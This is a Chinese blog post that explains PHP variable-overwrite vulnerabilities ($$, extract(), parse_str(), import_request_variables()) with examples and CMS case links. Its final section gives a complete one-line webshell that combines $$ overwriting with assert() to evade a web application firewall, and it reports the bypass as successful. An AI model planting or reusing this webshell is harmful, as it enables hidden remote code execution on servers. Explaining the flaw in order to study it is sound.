zoukankan      html  css  js  c++  java
  • 变量覆盖漏洞学习及在webshell中的运用

    一、发生条件:

    函数使用不当($$、extract()、parse_str()、import_request_variables()等)
    开启全局变量

    二、基础了解:

    1.$$定义

    $$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。

    举个简单例子:

    变量a被定义成了字符串hello 而变量$a被定于成了字符串world!
    但同时$a本身也是个变量
    $$a就可以代表两个含义$($a)和$(hello) 两个变量
    此时输出的结果如图:

    2.extract()定义

    extract()可以从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值
    语法结构:extract(array,extract_rules,prefix)
    i.array为必选参数(此参数必须为数组型数据)
    ii.extract_rules为可选参数,可选的值有:
    ● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    ● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    ● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    ● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    ● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    ● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    ● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    ● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    iii.prefix为可选参数(此参数暂不解释)
    举个例子:

    在开头我们定义了一个数组d
    然后我们使用extract()函数并将array参数填写为数组d
    此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象)
    此时输出结果为:

    可以看到我们之前并未声明过a、b、c变量,但是仍可输出。

    3.parse_str()定义:

    把查询字符串解析到变量中
    语法:parse_str(string,array)
    string为必选参数
    array为可选参数
    举个例子

    可以看到此函数将name和age初始化成了变量,且值为等号右边的值
    当array参数存在时:

    4.import_request_varibles()定义
    将 GET/POST/Cookie 变量导入到全局作用域中
    此函数相当于开启全局变量注册
    语法import_request_variables(string $types ,string $prefix )
    第一个参数为必选
    第二个参数为可选
    例子:
    import_request_variables("GPC")
    使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册
    当第二个参数存在时将会加上一个前缀

    三、经典案例

    1.经典$$变量覆盖

    foreach(array('_COOKIE','_POST','_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
            $$_key = addslashes($_value);
        }
    

    这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过
    可以看出$_key为COOKIE POST GET中的参数
    比如提交?a=1 则$_key的值为a
    而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value)
    这样便会覆盖原有的变量a的值
    我们来运行一下:

    可以看到变量a被我们覆盖掉了

    2.部分cms变量覆盖案例:

    MetInfo全局变量覆盖另类突破防注入
    http://www.weixianmanbu.com/article/84.html
    齐博CMS变量覆盖导致sql注入漏洞
    http://bobao.360.cn/learning/detail/291.html
    Destoon 20140530最新版超全局变量覆盖导致的安全问题
    http://0day5.com/archives/1855/

    四、变量覆盖玩出新花样之一句话木马bypass某狗

    经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

    但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了

    这就值得我们思考了,为什么这样不会拦截呢?
    我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马
    那如果这时我们在联系一下变量覆盖漏洞呢?
    在这里我选用了上面的案例代码

    foreach(array('_COOKIE','_POST','_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
            $$_key = addslashes($_value);
        }
    }
    

    把addslashes()删掉 然后把代码精简下

    foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}
    

    最终代码为

    <?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>
    

    成功bypass

  • 相关阅读:
    Call KernelIoControl in user space in WINCE6.0
    HOW TO:手工删除OCS在AD中的池和其他属性
    关于新版Windows Server 2003 Administration Tools Pack
    关于SQL2008更新一则
    微软发布3款SQL INJECTION攻击检测工具
    HyperV RTM!
    OCS 2007 聊天记录查看工具 OCSMessage
    CoreConfigurator 图形化的 Server Core 配置管理工具
    OC 2007 ADM 管理模板和Live Meeting 2007 ADM 管理模板发布
    Office Communications Server 2007 R2 即将发布
  • 原文地址:https://www.cnblogs.com/yunen/p/10597822.html
Copyright © 2011-2022 走看看